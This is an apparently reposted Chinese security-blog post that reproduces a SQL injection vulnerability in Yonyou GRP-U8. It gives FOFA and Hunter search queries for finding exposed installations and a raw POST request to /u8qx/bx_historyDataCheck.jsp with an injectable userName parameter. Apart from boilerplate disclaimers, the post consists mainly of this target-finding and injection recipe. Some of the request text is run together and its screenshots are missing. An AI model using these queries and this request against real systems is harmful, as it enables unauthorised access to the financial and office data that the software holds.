【漏洞复现】用友GRP-U8 SQL注入漏洞

admin
admin
admin
140350
文章
117
评论
2023年9月23日22:34:33评论129 views字数 488阅读1分37秒阅读模式

  • 0x01 免责声明

请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失，均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习，一切不良后果与文章作者无关。使用者应该遵守法律法规，并尊重他人的合法权益。

  • 0x02 影响版本

用友GRP-U8

【漏洞复现】用友GRP-U8 SQL注入漏洞

  • 0x03 网络测绘

fofa:

app="yonyou-GRP-U8"

hunter:

app.name="用友GRP-U8 OA"

  • 0x04 漏洞复现

MSSQL

【漏洞复现】用友GRP-U8 SQL注入漏洞

Oracle

【漏洞复现】用友GRP-U8 SQL注入漏洞

POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5737.226 Safari/537.36 OPR/99.0.3573.120
userName=#1*
‍

原文始发于微信公众号（Matrix SEC）：【漏洞复现】用友GRP-U8 SQL注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月23日22:34:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   【漏洞复现】用友GRP-U8 SQL注入漏洞https://cn-sec.com/archives/2062467.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息